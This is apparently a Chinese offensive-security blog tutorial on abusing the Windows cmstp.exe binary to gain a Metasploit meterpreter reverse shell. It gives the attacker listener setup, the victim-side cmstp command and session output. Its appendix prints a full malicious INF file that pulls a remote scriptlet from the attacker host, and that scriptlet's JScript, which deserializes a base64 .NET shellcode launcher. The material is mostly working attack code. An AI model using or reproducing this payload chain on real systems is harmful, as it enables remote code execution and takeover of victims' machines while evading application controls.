专注APT攻击与防御

https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，可预防肾结石，通风等。

痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

Cmstp简介：

Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用，则

cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件。

微软官方文档：https://docs.microsoft.com/en-us/windows-server/administration/windows- commands/cmstp

说明：Cmstp.exe所在路径已被系统添加PATH环境变量中，因此，Cmstp命令可识别，需注意x86，x64位的Cmstp调用。

Windows 2003 默认位置：

C:\Windows\System32\cmstp.exe

C:\Windows\SysWOW64\cmstp.exe

Windows 7 默认位置：

C:\Windows\System32\cmstp.exe

C:\Windows\SysWOW64\cmstp.exe

攻击机： 192.168.1.4 Debian

靶机： 192.168.1.119 Windows 7

配置攻击机msf：

注：x64 payload

1 msf exploit(multi/handler) > show options 2

3 Module options (exploit/multi/handler): 4

5 Name Current Setting Required Description

6 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 7

8

9 Payload options (windows/x64/meterpreter/reverse\_tcp): 10

11 Name Current Setting Required Description

12 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none)

14 LHOST 192.168.1.4 yes The listen address (an interface may be specifi ed)

15 LPORT 53 yes The listen port 16

17

18 Exploit target: 19

20 Id Name

21 ‐‐ ‐‐‐‐

22 0 Wildcard Target 23

24

25 emsf exploit(multi/handler) > exploit 26

27 [\*] Started reverse TCP handler on 192.168.1.4:53

靶机执行：

1 cmstp.exe /ni /s C:\Users\John\Desktop\rev.inf

注：x64 payload

1 msf exploit(multi/handler) > exploit 2

3 [\*] Started reverse TCP handler on 192.168.1.4:53

4 [\*] Sending stage (206403 bytes) to 192.168.1.5

5 [\*] Meterpreter session 9 opened (192.168.1.4:53 ‐> 192.168.1.5:13220) at 2019‐01‐20 12:08:52 ‐0500

6

7 meterpreter > getuid

8 Server username: John‐PC\John

9 meterpreter > getpid

10 Current pid: 8632

11 meterpreter > 12

附录：

Micropoor\_rev\_cmstp\_inf：

1 [version]

2 Signature=$chicago$

3 AdvancedINF=2.5 4

5 [DefaultInstall\_SingleUser]

6 UnRegisterOCXs=UnRegisterOCXSection 7

8 [UnRegisterOCXSection]

9 %11%\scrobj.dll,NI,http://192.168.1.4/cmstp\_rev\_53\_x64.sct 10

11 [Strings]

12 AppAct = "SOFTWARE\Microsoft\Connection Manager"

13 ServiceName="Micropoor"

14 ShortSvcName="Micropoor"

cmstp\_rev\_53\_x64.sct

1 <?XML version="1.0"?>

2 <scriptlet>

3 <registration

4 progid="PoC"

5 classid="{F0001111‐0000‐0000‐0000‐0000FEEDACDC}" > 6

7 <script language="JScript">

8 <![CDATA[ 9

10 function setversion() {

11 }

12 function debug(s) {}

13 function base64ToStream(b) {

14 var enc = new ActiveXObject("System.Text.ASCIIEncoding");

15 var length = enc.GetByteCount\_2(b);

16 var ba = enc.GetBytes\_4(b);

17 var transform = new ActiveXObject("System.Security.Cryptography.FromB ase64Transform");

18 ba = transform.TransformFinalBlock(ba, 0, length);

19 var ms = new ActiveXObject("System.IO.MemoryStream");

20 ms.Write(ba, 0, (length / 4) \* 3);

21 ms.Position = 0;

22 return ms;

23 }

24

25 var serialized\_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdh dGVTZXJpYWxpemF0aW9uSG9sZGVy"+

26 "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2Vya WFsaXph"+

27 "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb 25Ib2xk"+

28 "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJA gAAAAkD"+

29 "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0Rlb GVnYXRl"+

30 "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50Y XJnZXRU"+

31 "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ 2F0ZVNl"+

32 "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lL lJlbW90"+

33 "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249M i4wLjAu"+

34 "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5B gcAAAAH"+

35 "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZ QoEAwAA"+

36 "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0Y XJnZXQw"+

37 "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ 2F0ZUVu"+

38 "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlc gkLAAAA"+

39 "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpe mF0aW9u"+

40 "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lb WJlclR5"+

41 "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJC QAAAAYR"+

42 "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAA AoBCwAA"+

43 "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c 3RlbS5Y"+

44 "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlb j1iNzdh"+

45 "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb 24uQXNz"+

46 "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABIAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAA AAAAAAA"+

47 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzI HByb2dy"+

48 "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABkhgIAYaVEX AAAAAAA"+

49 "AAAA8AAiIAsCCwAADAAAAAQAAAAAAAAAAAAAACAAAAAAAIABAAAAACAAAAACAAAEAAAAA AAAAAQA"+

50 "AAAAAAAAAGAAAAACAAAAAAAAAwBAhQAAQAAAAAAAAEAAAAAAAAAAABAAAAAAAAAgAAAAA AAAAAAA"+

51 "ABAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAJgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA"+

52 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA"+

53 "AAAAACAAAEgAAAAAAAAAAAAAAC50ZXh0AAAATAoAAAAgAAAADAAAAAIAAAAAAAAAAAAAA AAAACAA"+

54 "AGAucnNyYwAAAJgCAAAAQAAAAAQAAAAOAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAAA AAAAGAA"+

55 "AAAAAAAAEgAAAAAAAAAAAAAAAAAAQAAAQkgAAAACAAUA7CIAAGAHAAABAAAAAAAAAAAAA AAAAAAA"+

56 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoB AAACgAA"+

57 "KAIAAAYAACoAAAAAAAAA/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyU EgPt0pK"+

58 "TTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAA ABIhcB0"+

59 "Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFO dF12FhE"+

60 "i0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIi xLpS///"+

61 "/11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAA1wKgBBEFUSYnkTInxQbpMdyYH/ 9VMiepo"+

62 "AQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBW EyJ4kiJ"+

63 "+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAf lVIg8Qg"+

64 "Xon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnI X//Vg/gA"+

65 "fShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2d bRB/+dY"+

66 "agBZScfC8LWiVv/VAAATMAYAZQAAAAEAABEAIP4BAACNBgAAASXQAwAABCgGAAAKChYGj ml+AQAA"+

67 "BH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHEQQWE gMoBAAA"+

68 "BgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAdjQuM C4zMDMx"+

69 "OQAAAAAFAGwAAABgAgAAI34AAMwCAABIAwAAI1N0cmluZ3MAAAAAFAYAAAgAAAAjVVMAH AYAABAA"+

70 "AAAjR1VJRAAAACwGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWAAABA AAADwAA"+

71 "AAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAAAEAA AABAAAA"+

72 "AQAAAAAACgABAAAAAAAGAD0ANgAGAE0BMQEGAGkBMQEGAJgBeAEGALgBeAEGANsBNgAGA CUCeAEG"+

73 "AEACNgAGAHwCeAEGAIsCNgAGAJECNgAGALQCNgAGAOYCxwIGAPgCxwIGACsDGwMAAAAAA QAAAAAA"+

74 "AQABAAEAEAATABsABQABAAEAAAAAAOABAAAFAAMABwATAQAASgIAACEABAAHABEATwASA BEAWgAS"+

75 "ABMBaAI+AFAgAAAAAIYYRAAKAAEAaCIAAAAAkQBKAA4AAQAAAAAAgACRIHEAFQABAAAAA ACAAJEg"+

76 "fgAdAAUAAAAAAIAAkSCLACgACwDZIgAAAACRGBQDDgANAAAAAQCfAAAAAgCrAAAAAwCwA AAABADB"+

77 "AAAAAQDLAAAAAgDeAAAAAwDqAAAABAD5AAAABQD/AAAABgAPAQAAAQAaAQAAAgAiAREAR AAuACEA"+

78 "RAA0ACkARAAKAAkARAAKADkARAAKAEkApAJCAGEAuwJKAGkA7gJPAGEA8wJYAHEARABkA HkARAAK"+

79 "ACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEA/gEAAAQAWwALAwABBwBxAAEAA AEJAH4A"+

80 "AQAAAQsAiwABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAANYBAAAEAAAAAAAAAAAAAAABA C0AAAAA"+

81 "AAQAAwAAAAA8TW9kdWxlPgAyMjIyLmRsbABQcm9ncmFtAFNoZWxsQ29kZUxhdW5jaGVyA G1zY29y"+

82 "bGliAFN5c3RlbQBPYmplY3QALmN0b3IATWFpbgBNRU1fQ09NTUlUAFBBR0VfRVhFQ1VUR V9SRUFE"+

83 "V1JJVEUAVmlydHVhbEFsbG9jAENyZWF0ZVRocmVhZABXYWl0Rm9yU2luZ2xlT2JqZWN0A GxwU3Rh"+

84 "cnRBZGRyAHNpemUAZmxBbGxvY2F0aW9uVHlwZQBmbFByb3RlY3QAbHBUaHJlYWRBdHRya WJ1dGVz"+

85 "AGR3U3RhY2tTaXplAGxwU3RhcnRBZGRyZXNzAHBhcmFtAGR3Q3JlYXRpb25GbGFncwBsc FRocmVh"+

86 "ZElkAGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb 25zAFNl"+

87 "Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZQBTZWN1cml0eUFjdGlvbgBTeXN0ZW0uUnVud GltZS5D"+

88 "b21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVud GltZUNv"+

89 "bXBhdGliaWxpdHlBdHRyaWJ1dGUAMjIyMgBCeXRlADxQcml2YXRlSW1wbGVtZW50YXRpb 25EZXRh"+

90 "aWxzPntBODMyQkQ0MS1EQjgyLTQ0NzEtOEMxRC1BMDlBNDFCQjAzRER9AENvbXBpbGVyR 2VuZXJh"+

91 "dGVkQXR0cmlidXRlAFZhbHVlVHlwZQBfX1N0YXRpY0FycmF5SW5pdFR5cGVTaXplPTUxM AAkJG1l"+

92 "dGhvZDB4NjAwMDAwMi0xAFJ1bnRpbWVIZWxwZXJzAEFycmF5AFJ1bnRpbWVGaWVsZEhhb mRsZQBJ"+

93 "bml0aWFsaXplQXJyYXkASW50UHRyAG9wX0V4cGxpY2l0AFN5c3RlbS5SdW50aW1lLklud GVyb3BT"+

94 "ZXJ2aWNlcwBNYXJzaGFsAENvcHkAWmVybwBEbGxJbXBvcnRBdHRyaWJ1dGUAa2VybmVsM zIALmNj"+

95 "dG9yAFN5c3RlbS5TZWN1cml0eQBVbnZlcmlmaWFibGVDb2RlQXR0cmlidXRlAAAAAAADI AAAAAAA"+

96 "Qb0yqILbcUSMHaCaQbsD3QAIt3pcVhk04IkDIAABAwAAAQIGCQcABAkJCQkJCgAGGAkJC RgJEAkF"+

97 "AAIJGAkFIAEBEQ0EIAEBCAQBAAAAAwYREAcAAgESKREtBAABGAoIAAQBHQUIGAgCBhgIB wUdBQkY"+

98 "CRgEIAEBDggBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwGAni4Bg IRTeXN0"+

99 "ZW0uU2VjdXJpdHkuUGVybWlzc2lvbnMuU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlL CBtc2Nv"+

100 "cmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRv a2VuPWI3"+

101 "N2E1YzU2MTkzNGUwODkVAVQCEFNraXBWZXJpZmljYXRpb24BAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

102 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

103 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

104 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

105 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

106 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

107 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

108 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

109 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAA AAAAAAAA"+

110 "AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAA8AgAAAAAAAAAAAAA8 AjQAAABW"+

111 "AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAA AAAAAAAA"+

112 "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBu AGYAbwAA"+

113 "AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEnAEAAAEAUwB0AHIA aQBuAGcA"+

114 "RgBpAGwAZQBJAG4AZgBvAAAAeAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBp AGwAZQBE"+

115 "AGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMA aQBvAG4A"+

116 "AAAAADAALgAwAC4AMAAuADAAAAA0AAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAA ADIAMgAy"+

117 "ADIALgBkAGwAbAAAAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAA IAAAADwA"+

118 "CQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAAAyADIAMgAyAC4AZABs AGwAAAAA"+

119 "ADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAA AAA4AAgA"+

120 "AQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAA AAAAAAAA"+

121 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

122 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

123 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

124 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

125 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

126 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA"+

127 "AAAAAAAAAAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0 ZW0uUmVm"+

128 "bGVjdGlvbi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA";

129 var entry\_class = 'ShellCodeLauncher.Program'; 130

131 try {

132 setversion();

133 var stm = base64ToStream(serialized\_obj);

134 var fmt = new ActiveXObject('System.Runtime.Serialization.Formatter s.Binary.BinaryFormatter');

135 var al = new ActiveXObject('System.Collections.ArrayList');

136 var d = fmt.Deserialize\_2(stm);

137 al.Add(undefined);

138 var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry\_class); 139

140 } catch (e) {

141 debug(e.message);

142 } 143

144 ]]>

145 </script>

146 </registration>

147 </scriptlet> 148

Micropoor